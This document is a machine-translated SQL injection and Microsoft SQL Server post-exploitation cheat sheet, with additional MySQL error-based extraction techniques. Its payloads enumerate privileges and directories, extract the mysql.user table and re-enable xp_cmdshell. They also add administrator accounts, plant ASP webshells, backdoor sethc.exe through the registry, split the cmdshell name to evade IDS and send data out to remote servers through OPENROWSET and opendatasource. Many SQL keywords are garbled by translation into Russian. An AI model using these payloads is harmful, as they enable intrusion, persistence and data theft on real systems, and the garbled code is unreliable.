; вставить в temp(id) exec master.dbo.xp_blank>_cmdshell директора C:\; –
; Вставить в temp(id) exec master.dbo.xp_blank>_cmdshell директора C:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; вставить в temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Применимые полномочия

ПУБЛИЧНО)
Запишите в таблицу:
утверждение 1: и 1=(Выберите IS_blank>_SRVROLEMEMBER(sysadmin)); –
Оператор 2: и 1=(Выберите IS_blank>_SRVROLEMEMBER(serveradmin)); –
Оператор 3: и 1=(Выберите IS_blank>_SRVROLEMEMBER(setupadmin)); –
Оператор 4: и 1=(Выберите IS_blank>_SRVROLEMEMBER(securityadmin)); –
Оператор 5: и 1=(Выберите IS_blank>_SRVROLEMEMBER(securityadmin)); –
Оператор 6: и 1=(Выберите IS_blank>_SRVROLEMEMBER(diskadmin)); –
Утверждение 7: и 1=(Выберите IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Утверждение 8: и 1=(Выберите IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Утверждение 9: и 1=(Выберите IS_blank>_MEMBER(db_blank>_owner)); –

Запишем путь к таблице:
; Create table dirs(paths varchar(100), id int)–
; Insert dirs exec master.dbo.xp_blank>_dirtree c:\–
и 0<>(выберите топ-1 путь из директоров)–
и 0<>(выберите топ-1 пути из директоров, где пути не входят(@Inetpub))–
; Создать таблицу dirs1(Paths varchar(100), id int)–
; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
и 0<>(выберите топ-1 путь из dirs1)–

Резервная копия _blank> базы данных в веб-каталог: Скачать
; объявить @a системное имя; множество @a=db_blank>_name(); Резервное копирование базы данных @a в disk=e:\web\down.bak; –

и 1=(Выберите имя топ-1 из(Выберите идентификатор топ-12, имя из sysobjects, где xtype=char(85)) T

Порядок по id desc)
и 1=(Выберите топ-1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) из sysobjects) См. также

Связанные таблицы.
и 1=(выберите user_blank>_id из USER_blank>_LOGIN)
и 0=(выберите пользователя из USER_blank>_LOGIN, где user>1)

-=- пример wscrip{filter}t.shell -=-
объявить @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
исполнительный sp_blank>_oamethod @o, бегать, NULL notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

объявить @o int, @f int, @t int @ret int
Объявить @line Вархар (8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, opentextfile, @f выход, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline @line out
while( @ret = 0 )
Начало
Печатная @line
exec @ret = sp_blank>_oamethod @f, readline @line out
Конец

объявить @o int, @f int, @t int @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, создать AteTextFile, @f выйти, C:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %>

объявить @o int, @ret int
Исполнитель sp_blank>_oacreate speech.voicetext, @o уходит
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Исполнительный sp_blank>_oasetproperty @o, скорость, 150
exec sp_blank>_oamethod @o, speak NULL, все ваши серверы сиквелов принадлежат us, 528
Ожидание задержки 00:00:05

; объявить @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, регистр, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, говори, NULL, все ваши серверы сиквелов принадлежат нам, 528 waitfor delay

00:00:05–

xp_blank>_dirtree соответствующее ПУБЛИЧНОЕ разрешение
exec master.dbo.xp_blank>_dirtree c: Возвращаемая информация имеет два поля: подкаталог, глубина. Поля подкаталогов

Тип персонажа — это поле формирования.
Create table dirs(paths varchar(100), id int)
Построение таблиц, созданная здесь, связана с вышеуказанным xp_blank>_dirtree, с равными полями и одним типом.
insert dirs exec master.dbo.xp_blank>_dirtree c: При условии, что мы создаём таблицу и одинаково определяем поля, возвращаемые процессом хранения

Исполняйте! Чтобы добиться эффекта написания таблиц, шаг за шагом достигайте нужной информации!
Эта инъекция ошибки в основном основана на переполнении типов данных Mysql
    mysql > SELECT 18446744073709551610 * 2 ;
    ОШИБКА 1690 (2003): BIGINT Незнаковое значение выходит за пределы диапазона в '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    ОШИБКА 1690 (2003): BIGINT Незнаковое значение выходит за пределы зоны действия в '(- (1) *

9223372036854775808)'
Версия базы данных запросов:
    mysql> SELECT * 2 (если ((SELECT * из (SELECT (версия ()) ) s), 18446744073709551610,

18446744073709551610));
    ОШИБКА 1690 (22003): BIGINT НЕПОДПИСАННОЕ значение выходит за пределы зоны действия в '(2 * if (( Выберите ' 5.5 ' от

Двойной), 18446744073709551610.18446744073709551610)'
Получите название поля:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from

test.shop предел 1), 18446744073709551610, 18446744073709551610);

    ОШИБКА 1690 (22003): BIGINT незнаковое значение выходит за пределы зоны действия в '(2 * if(((select

'article', 'dealer', 'price' из (выберите 'test'.'shop'.'article' AS

'article','test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price' от

'тест'.'магазин') лимит 1) > (выбрать

'тест'.'магазин'.'артикул','тест'.'магазин'.'дилер','тест'.'магазин'.'цена' от 'тест'.'магазин'

1)),18446744073709551610,18446744073709551610))'
Получите значение поля:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) как '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    ОШИБКА 1690 (22003): BIGINT незнаковое значение выходит за пределы зоны действия в '(2 * if(((select

'местный хост', 'root','*','Y','Y','Y','Y'

Y','Y','Y','Y','Y','Y',','0,'0,'0',','','' ОТ DUAL LIMIT 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Обратите внимание, что этот метод не работает со старыми версиями Mysql, и вам нужно знать предел длины сообщения об ошибке, так как это определит

Вы можете получить столько, сколько хотите:
    mysys / my_error.c

    /* Максимальная длина сообщения об ошибке. Нужно синхронизировать с MYSQL_ERRMSG_SIZE. */
    #define ЭРМСГСАЙЗ (512)

Если объект — MariaDB (форк Mysql), вы можете увидеть такое сообщение об ошибке при использовании вышеуказанного метода:

    mysql> ВЫБРАТЬ 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    ОШИБКА 1690 (22003): BIGINT Незнаковое значение выходит за пределы зоны действия в '(2 * if((select

#),18446744073709551610,18446744073709551610))'

В качестве решения эту задачу можно решить следующим образом:

    mysql> SELECT (i НЕ ЯВЛЯЕТСЯ NULL) - -9223372036854775808 ИЗ (SELECT (version())i)a;
    ОШИБКА 1690 (22003): Значение BIGINT выходит из диапазона в '(('5.5-MariaDB' не нулевый) - -

(9223372036854775808))'
Теперь посмотрим, сможем ли мы сделать наш Вектор немного короче

//查询数据库版本

    ВЫБЕРИТЕ 2*(if((SELECT * из (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    выберите 1E308*if((select*from(select version())x),2,2)

    SELECT (i НЕ ЯВЛЯЕТСЯ NULL) - -9223372036854775808 ИЗ (SELECT (version())i)a
    =
    выбрать if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) как '' limit 1)>(SELECT * от

test.shop предел 1), 18446744073709551610, 18446744073709551610)
    =
    выберите 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) как '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    выберите 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    выберите 1E308*if((выберите пользователя|| ведущий|| password|| file_priv from(select*from mysql.user LIMIT

1) предел 1),2,2)
//获取字段个数


    выберите 1E308*if((select*from mysql.user limit 1)>(выберите 1),2,2)



Некоторые другие деформации

    SELECT (i НЕ ЯВЛЯЕТСЯ NULL) - -9223372036854775808 ИЗ (SELECT (version())i)a
    выберите 1E308*if((выберите пользователя|| ведущий|| password|| file_priv from(select*from mysql.user LIMIT

1) предел 1),2,2);
    =>
    выберите 2*if((выберите пользователя|хост|пароль|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> select (select * from mysql.user)=1;
    mysql> select (select * из mysql.user)in(1);

    ОШИБКА 1241 (21000): Операнд должен содержать 42 столбца
    выберите 2*if((выберите пользователя|хост|пароль|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    Выберите if((выберите пользователя|| ведущий|| password|| file_priv из(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i НЕ ЯВЛЯЕТСЯ NULL) - -9223372036854775808 ИЗ (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    ОШИБКА 1690 (22003): BIGINT незнаковое значение выходит за пределы зоны действия в '((not('root@localhost')) - ~

(0))'
3. Оценивайте систему баз данных
; и (выбрать count(*) из sysobjects)>0 mssql
; и (выбрать count(*) из msysobjects)>0 доступ
4. Параметр инъекции — это символ
'и [критерии запроса] и ''='
5. При поиске отсутствуют фильтрованные параметры
'и [критерии запроса] и '%25'='
6. Угадайте базу данных
; и (выберите Count(*) из [имя базы данных])>0
7. Угадайте поле
; и (выберите Count (имя поля) из названия базы данных)>0
8. Угадайте длину рекорда в поле
; и (выберите топ-1 len (имя поля) из названия базы данных)>0
9. (1) Угадайте значение ASCII поля (access)
; и (выбрать топ-1 ASC (mid(имя поля, 1,1)) из названия базы данных)>0
(2) Угадайте значение ASCII поля (mssql)
; и (выберите топ-1 Unicode(подстрока(имя поля, 1,1)) из названия базы данных)>0
10. Структура разрешения на тестирование (mssql)
; и 1=(выберите IS_SRVROLEMEMBER('системный администратор')); --
; и 1=(выберите IS_SRVROLEMEMBER('serveradmin')); --
; и 1=(выберите IS_SRVROLEMEMBER('setupadmin')); --
; и 1=(выберите IS_SRVROLEMEMBER('securityadmin')); --
; и 1=(выберите IS_SRVROLEMEMBER('diskadmin')); --
; и 1=(выберите IS_SRVROLEMEMBER('bulkadmin')); --
; и 1=(выберите IS_MEMBER('db_owner')); --
11. Добавить аккаунт для mssql и системы
; исполнительный master.dbo.sp_addlogin имя пользователя; --
; exec master.dbo.sp_password null, username, password; --
; exec master.dbo.sp_addsrvrolemember sysadmin username; --
; exec master.dbo.xp_cmdshell 'net username password /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; исполнительный master.dbo.xp_cmdshell 'net user username password /add'; --
; исполнительный master.dbo.xp_cmdshell 'Net Localgroup Administrators Username /add'; --
12. (1) Пройтись по каталогу
; Create table dirs(paths varchar(100), id int)
; Вставьте директоров exec master.dbo.xp_dirtree 'c:\'
; и (выберите топ-1 путь из директоров)>0
; и (выберите верхние 1 пути из DIRS, где пути, не входящие в ('пути, полученные с предыдущего шага'))>)
(2) Пройтись по каталогу
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; вставьте временный исполнительный master.dbo.xp_availablemedia; -- Собери все текущие диски
; вставьте в temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Получить список подкаталогов
; вставить в temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Получить структуру дерева каталогов для всех подкаталогов
; Вставьте в temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Просмотр содержимого файла
13. Хранимые процедуры в mssql
xp_regenumvalues Корневый ключ реестра, дочерний ключ
; исполнительный xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' и многое другое

Метод Recordset для возврата всех значений ключей
xp_regread Корневый ключ, дочерний ключ, имя ключа-значения
; исполнительный xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'CommonFilesDir' возвращает значение ключа формулировки
xp_regwrite Корневой ключ, дочерний ключ, имя значения, тип значения, значение
Существует два типа типов значений: REG_SZ REG_DWORD для типов символов и для целых чисел
; исполнительный xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' записываются в реестр
xp_regdeletevalue Корневой ключ, подключ, имя значения
исполнительный xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' для удаления значения
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' удалить клавишу,

Включите все значения под этот ключ
14. Резервное копирование MSSQL создаёт вебшелл
Модель использования
создать таблицу cmd (изображение STR);
вставить в значения cmd(str) ('<% Dim oscrip{filter}t %>');
резервное копирование модели базы данных в disk='c:\l.asp';
15. Встроенные функции MSSQL
; и (выберите @@version)>0, чтобы получить номер версии Windows
; и user_name()='dbo' для определения, является ли подключённый пользователь текущей системы SA
; и (выберите user_name())>0 Взрыв подключённых пользователей текущей системы
; и (выберите db_name())>0 для получения текущей подключённой базы данных
16. Краткая паутина
Модель использования
создать таблицу cmd (изображение STR);
Вставить в значения cmd(str) ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
резервное копирование модели базы данных в disk='g:\wwwtest\l.asp';
При запросе используйте что-то вроде этого:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Получите все имена баз данных, включая системные базы данных
–ВЫБРАТЬ имя с master.dbo.sysdatabases

Получите все несистемные имена баз данных
–выбрать [name] из master.dbo.sysdatabases, где DBId>6 Order By [Name]

Получите всю информацию, включая адрес файла базы данных
–выбрать * из master.dbo.sysdatabases, где DBId>6 Order By

[Имя]



Этот запрос к оператору возвращает все пользовательские таблицы

выберите * из sysobjects, где xtype='U'


Запрос всей информации о таблице данных в системе

выбрать * из sysobjects



Посмотри на название машины
выберите * из sys.servers





Оглавление столбцов
Исполнительный master.dbo.xp_subdirs 'C:\'


исполнительный master.dbo.xp_dirtree 'c:',1,1 db_owner
Разрешения могут быть заменены


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Программный код, написанный в webshell


исполнительный master.dbo.xp_subdirs 'd:\web\www.xx.com';
Исполнительный sp_makewebtask сказал:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Казни, мастер... xp_enumgroups  


Пользователи системы Traverse


Казни, мастер... xp_getnetname
Получите текущее название машины


--Укажите фиксированные диски на сервере вместе с доступным пространством для каждого диска
   DBO Public


Execute

xp_ntsec_enumdomains


--
Создайте аккаунт для входа в MSSQL
исполнительный master.dbo.sp_addlogin имя, пропуск; --






--
Укажите доменное имя сервера
xp_ntsec_enumdomains //
Имя машины //dbo публичное


--
Остановите или начните обслуживание
xp_servicecontrol 'stop', 'schedule' //schedule — это название сервиса //dbo


--Используй PID

Остановите исполняемую программу
xp_terminate_process 123 //123 — это PID //DBO


--
В каталоге указаны только подкаталоги
dbo.xp_subdirs 'C:' //dbo


SQL Server
Метод открытия xp_cmdshell в 2005 году
EXEC sp_configure «показывать расширенные опции», 1; РЕКОНФИГУРИРОВАТЬ; EXEC

sp_configure 'xp_cmdshell', 1; РЕКОНФИГУРИРОВАТЬ;

SQL2005 Открыть 'OPENROWSET'
Поддерживаемые методы:
Exec sp_configure «Показать расширенные опции», 1; РЕКОНФИГУРИРОВАТЬ; исполнительный sp_configure «Ad Hoc»

Распределённые запросы,1; РЕКОНФИГУРИРОВАТЬ;

SQL2005 для включения поддержки 'sp_oacreate':
Exec sp_configure «Показать расширенные опции», 1; РЕКОНФИГУРИРОВАТЬ; Исполнительный

sp_configure «Процедуры старой автоматизации», 1; RECONFIGURE





Как включить xp_cmdshell в SQL Server 2008


-- Чтобы позволить менять расширенные опции.
EXEC

sp_configure «показать расширенные параметры», 1
ВПЕРЁД
-- Для обновления текущего настроенного значения для

Продвинутые варианты.
RECONFIGURE
ВПЕРЁД
-- Чтобы включить функцию.
EXEC sp_configure 'xp_cmdshell', 1
ВПЕРЁД
--Кому

Обновите текущее настроенное значение для этой функции.
RECONFIGURE
ВПЕРЁД


exec xp_cmdshell 'ipconfig'



Сегодня я хотел изменить пароль SA сервера базы данных, но внезапно забыл, поэтому пришлось открыть анализатор запросов с помощью других аккаунтов, чтобы изменить пароль SA

Всё очень просто:


Исполнение:
sp_password Null, 'teracypwd, 'sa'
Установите пароль SA на "teracypwd"


После успешной казни

Есть «Команды(ы) успешно выполнены».  ХОРОШО!








В разрешениях базы данных отдельте способ получения IP сервера базы данных MSSQL


1. Локальная NC слушает NC -VVLP 80


2.; вставить в

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Сеть=DBMSSOCN; Адрес=ваш IP, 80; ', 'выбрать * из

dest_table') выбрать * из src_table; --


выбрать * из openrowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','выберите пользователя; ')





Импорт и экспорт баз данных

/*不同服务器数据库之间的数据操作*/

--Создать сервер ссылок
Исполнительный sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Имя или IP-адрес удалённого сервера'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'имя пользователя', 'пароль'

--пример запроса
выбрать * из имени ITSV.database name.dbo.table

--пример импорта
Выбрать *

в таблицу из ITSV.databasename.dbo.tablename

--Удалить связанный сервер, если он больше не будет использоваться в будущем
исполнительный sp_dropserver 'ITSV',

'droplogin'

--
Подключение к удаленным/локальным данным (openrowset/openquery/opendatasource)
--1、openrowset

--пример запроса
Выбрать *

из openrowset( 'SQLOLEDB', 'имя sql-сервера'; «Имя пользователя»; 'password', имя базы данных.dbo.table name)

--
Сгенерировать локальную таблицу
выберите * в таблицу из openrowset( 'SQLOLEDB', 'имя sql сервера'; «Имя пользователя»; «Пароль», номер

Согласно названию базы данных.dbo.table name)

--
Импортируйте локальную таблицу в удалённую таблицу
вставьте openrowset( 'SQLOLEDB', 'имя sql сервера'; «Имя пользователя»; «Пароли», базы данных

name.dbo.table name)
Выберите *из локальной таблицы

--
Обновить локальные таблицы
Обновление B
множество b. столбец A = a
из openrowset( 'SQLOLEDB', 'имя sql-сервера'; «Имя пользователя»; '

пароль ', имя базы данных .dbo.table name) как внутренняя локальная таблица join b
на a.column1=b.column1

--openquery
Использование требует создания соединения

--Сначала создайте соединение для создания сервера ссылок
исполнительный sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'имя или IP-адрес удалённого сервера'
--Спросить
Выбрать *
ИЗ OPENQUERY(ITSV, 'SELECT * FROM data

library.dbo.table name ')
--
Импортируйте локальную таблицу в удалённую таблицу
вставить openquery(ITSV, 'ВЫБРАТЬ * ИЗ названия database.dbo.table')
Выбрать * из локального

Таблица
--обновить локальную таблицу
Обновление B
установить b. столбец B=a
ИЗ openquery(ITSV, 'ВЫБЕРИТЕ * ИЗ database.dbo.tablename')

как  
внутренняя локальная таблица соединения b на a. столбец A=b. столбец A

--3、opendatasource/openrowset
SELECT *
ОТ   

opendatasource( 'SQLOLEDB', 'Data Source=ip/ServerName; User ID=Имя входа; Пароль=Пароль '

).test.dbo.roy_ta
--
Импортируйте локальную таблицу в удалённую таблицу



Удаление и восстановление xp_cmdshell


Способы восстановления xp_cmdshell   
Удалить расширенную хранящую процедуру xp_cmdshell

Утверждение   
Исполнительный sp_dropextendedproc 'xp_cmdshell'   



Восстановить sql-оператор cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Исполнительный

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; выберите count(*) из

master.dbo.sysobjects, где xtype='x' и   
Результат возврата — 1, и всё в порядке.   


В противном случае нужно загрузить c:\inetput\web

\xplog70.dll позже   
исполнительный master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Если удалить его следующим образом   
Процедура сброса sp_addextendedproc   
Процедура сброса sp_oacreate   
Исполнительный

sp_dropextendedproc 'xp_cmdshell'   



Вы можете восстановить его с помощью следующего утверждения   
DBCC addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Таким образом, её можно восстановить напрямую, независимо от того, существует ли sp_addextendedproc или нет






1、
Используйте xp_cmdshell:
          exec master.dbo.xp_cmdshell «net user admin admin /add»
          Исполнительный

master.dbo.xp_cmdshell «администраторы локальных групп сети admin /add»

В xp_cmdshell случае используйте sp_oacreate, чтобы следовать sp_oamethod:
          объявить @object int   
          Исполнительный

sp_oacreate 'wscrip{filter}t.Shell', @object         
          Исполнительный sp_oamethod

@object,'Run',NULL,'net user admin admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

Администраторы локальной группы admin /add'

Примечание: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Используйте sp_oacreate и FSO
          объявить @o int
          Исполнительный sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          объявить @oo int
          Исполнительный

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Исполнительный sp_oamethod @oo,

'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Используйте xp_regwrite (db_owner, требуется перезагрузка):
          Исполнительный master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Исполнительный master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Используйте sp_add_job:
          Исполнительный

master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
          Используйте MSDB exec sp_delete_job

null, 'x'
          Исполнительный sp_add_job «X»
          Исполнительный sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin /add'
          Исполнительный sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Многие SA добивались успеха на многих машинах напрямую с режимом песочницы, но я никогда не практиковал это и не знаю, какой процент успеха. Когда удлинение удалено, сначала

Восстановите хранилище для чтения и записи в реестр.
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc

('xp_regwrite','xpstar.dll')



Исправлен защищённый режим песочницы
Исполнительный мастер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Проверьте, не стало ли значение 'SandBoxMode' на 0.


исполнительный master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Наконец, вызовите режим песочницы
Выберите * из OpenRowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')







Если режим защиты песочницы не «выключен», сообщается об ошибке:
          Сервер: Msg 7357, уровень 16, состояние 2, линия 1

Не удалось обработать объект 'select shell("cmd.exe /c net user passwd /add")'. OLE DB предоставляет программы

Предисловие 'microsoft.jet.oledb.4.0' указывает, что в объекте нет столбцов.

Отслеживание ошибок OLE DB [Ошибка без интерфейса: провайдер OLE DB не может обработать объект, поскольку объект

имеет nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Если .mdb отсутствует или входной путь неверен
           Сервер: Msg 7399, уровень 16, состояние 1, линия 1

OLE DB provider 'microsoft.jet.oledb.4.0' error.
            [Ответ от OLE/DB провайдера:

Файл 'C:\WINDOWS\system32\ias\dnary1.mdb' не найден. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Если во время процесса ввода появляется больше пробелов, ошибка также будет сообщена. Обратите особое внимание на это, многие люди напрямую ищут статьи в интернете

Вставьте и выполните.
          Сервер: Msg 7357, уровень 16, состояние 2, линия 1
          Не удалось обработать объект 'select'

shell("cmd.exe /c net user passwd /add")'。
Провайдер OLE DB 'microsoft.jet.oledb.4.0' указывает, что в объекте нет столбцов.

Отслеживание ошибок OLE DB [Ошибка, не связанная с интерфейсом:
Провайдер OLE DB не может обработать объект, поскольку объект имеет

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Если разрешения MDB и cmd.exe неверны, проблема тоже возникнет.
          Когда разрешения MDB некорректны,
           Сервер: Устранить

Процент 7320, уровень 16, штат 2, линия 1

Он не мог ответить
Провайдер OLE DB 'Microsoft.Jet.OLEDB.4.0' выполняет запрос.
           [Провайдер OLE/DB возвращён

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Если сетевое разрешение неверное, нет подсказки.

Последний способ повысить авторитет — загрузить ias.mdb и cmd.exe системы под текущий веб-каталог net.exe три файла.

Выполнить select * из openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','выберите оболочку

("E:\web\cmd.exe /c E:\web\net.exe пользователь passwd /add")')
          Успешно добавили пользователя компьютера.






Разделение cmdshell обходит IDS         
Declare @a Sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
Объявить

@a набор sysname @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Редактировать: сдвиг с захватом реестра
Исполнительный мастер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Запрос к серверу связей
выбирать

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
выбирать

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Запрос linkserver2
выберите отдельное имя хоста,db_name(dbid),net_address,loginame,program_name из

Мастер... sysprocesses



Запрос к серверу связей
и других авторизованных пользователей
выбрать * из [192.168.1.1].master.dbo.syslogins



Сервер ссылки запросов
Все базы данных
select * из linkedSrvWeb.master.dbo.sysdatabases



Выполнить расширенное хранение на LinkServer
exec [ip].master.dbo.xp_cmdshell



Запрос ко всем таблицам на linkserver-е
выберите * из [ip].master.dbo.sysobjects








выбрать * из openrowset

('sqloledb','server=IP; uid=пользователь; pwd=пароль','выберите @@version')


select * из openquery([LINKSERVER)

имя],'выберите @@version')




select * из openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




выбрать * из openquery(GM_SERVER,'select * из sysobjects, где xtype = (''U'')')


выбрать * из

openquery(NDOORS,'Выберите IS_MEMBER(''db_owner'')')




Выбрать * из OpenQuery(toatdeweb,'Select

srvname с master.dbo.sysservers')


Вставить в opendatasource

('sqloledb','server=222.241.95.12; uid=SCD; pwd=a123520; database=hack520').hack520.dbo.zhu select

Имя с master.dbo.sysdatabases
create database hack520 Create TABLE zhu(name nvarchar(256)

null); Создать ТАБЛИЦУ J8(id int NULL, имя nvarchar(256) null);


Выбрать * из OpenQuery

(toatdeweb,'отключить FMTonly от исполнительного master.dbo.xp_cmdshell ''net user')


Исполнительный мастер... xp_dirtree

'c:\',1,1
Выполните каталог запросов


exec links.master.. xp_cmdshell 'ipconfig'


выбрать * из OpenQuery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Подключите mysql Select * от Mem_DB. UserDB.dbo.AdminList


ИСПОЛНИТЕЛЬНЫЙ МАСТЕР... XP_dirtree 'c:\',1,1




Исполнительный директор

master.dbo.xp_cmdshell 'dir'


Выберите count(*) из [указать]
Запросите, сколько данных находится в текущей таблице




выберите отдельное имя хоста,db_name(dbid),net_address,loginame,program_name

От мастера... sysprocesses






Выберите * из GameDB01. Server01.dbo.cabal_character_table, где name='

Свинья





При удалении появляется сообщение: База данных используется и не может быть удалена.


Нажмите на базу данных, которую хотите удалить, чтобы открыть просмотрщик событий.


Вводные данные:


Использование   

Мастер
Иди
Затем введите следующее:
Объявить @d Варчар (8000)
set @d= ' '
выберите @d=@d+ ' убить   

'+Кастинг(Спид в роли Варчара)+Чар(13)
От мастера... sysprocesses, где dbid=db_id('имя библиотеки')
exec(@d)
--
Используйте код, чтобы сначала удалить процесс, подключённый к этой базе данных












MSSQL управляет Oracle через LinkServer






1) Установить Oracle на сервер SQL_SERVER 2005 года

